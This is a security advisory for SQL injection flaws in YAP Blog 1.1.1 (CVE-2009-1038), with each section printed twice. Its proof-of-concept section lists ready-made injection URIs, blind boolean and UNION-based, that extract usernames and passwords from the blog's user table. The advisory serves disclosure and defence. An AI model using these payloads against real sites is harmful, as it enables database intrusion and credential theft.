YAP Multiple SQL Injection Vulnerabilities
BID:34274
Info
YAP Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 34274 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-1038 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 27 2009 12:00AM |
| Updated: | Mar 27 2009 07:46PM |
| Credit: | SirGod |
| Vulnerable: |
wildmary Yap Blog 1.1.1 wildmary Yap Blog 1.1 |
| Not Vulnerable: | |
Discussion
YAP Multiple SQL Injection Vulnerabilities
YAP is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
YAP 1.1.1 is vulnerable; other versions may also be affected.
YAP is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
YAP 1.1.1 is vulnerable; other versions may also be affected.
Exploit / POC
YAP Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1))>97
http://www.example.com/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1))>100
http://www.example.com/[path]/admin/index.php?page=users_modif&action=modif&user=null union all select concat_ws(0x3a,login,pass),2 from yap_user where id=1--
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1))>97
http://www.example.com/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1))>100
http://www.example.com/[path]/admin/index.php?page=users_modif&action=modif&user=null union all select concat_ws(0x3a,login,pass),2 from yap_user where id=1--
Solution / Fix
YAP Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].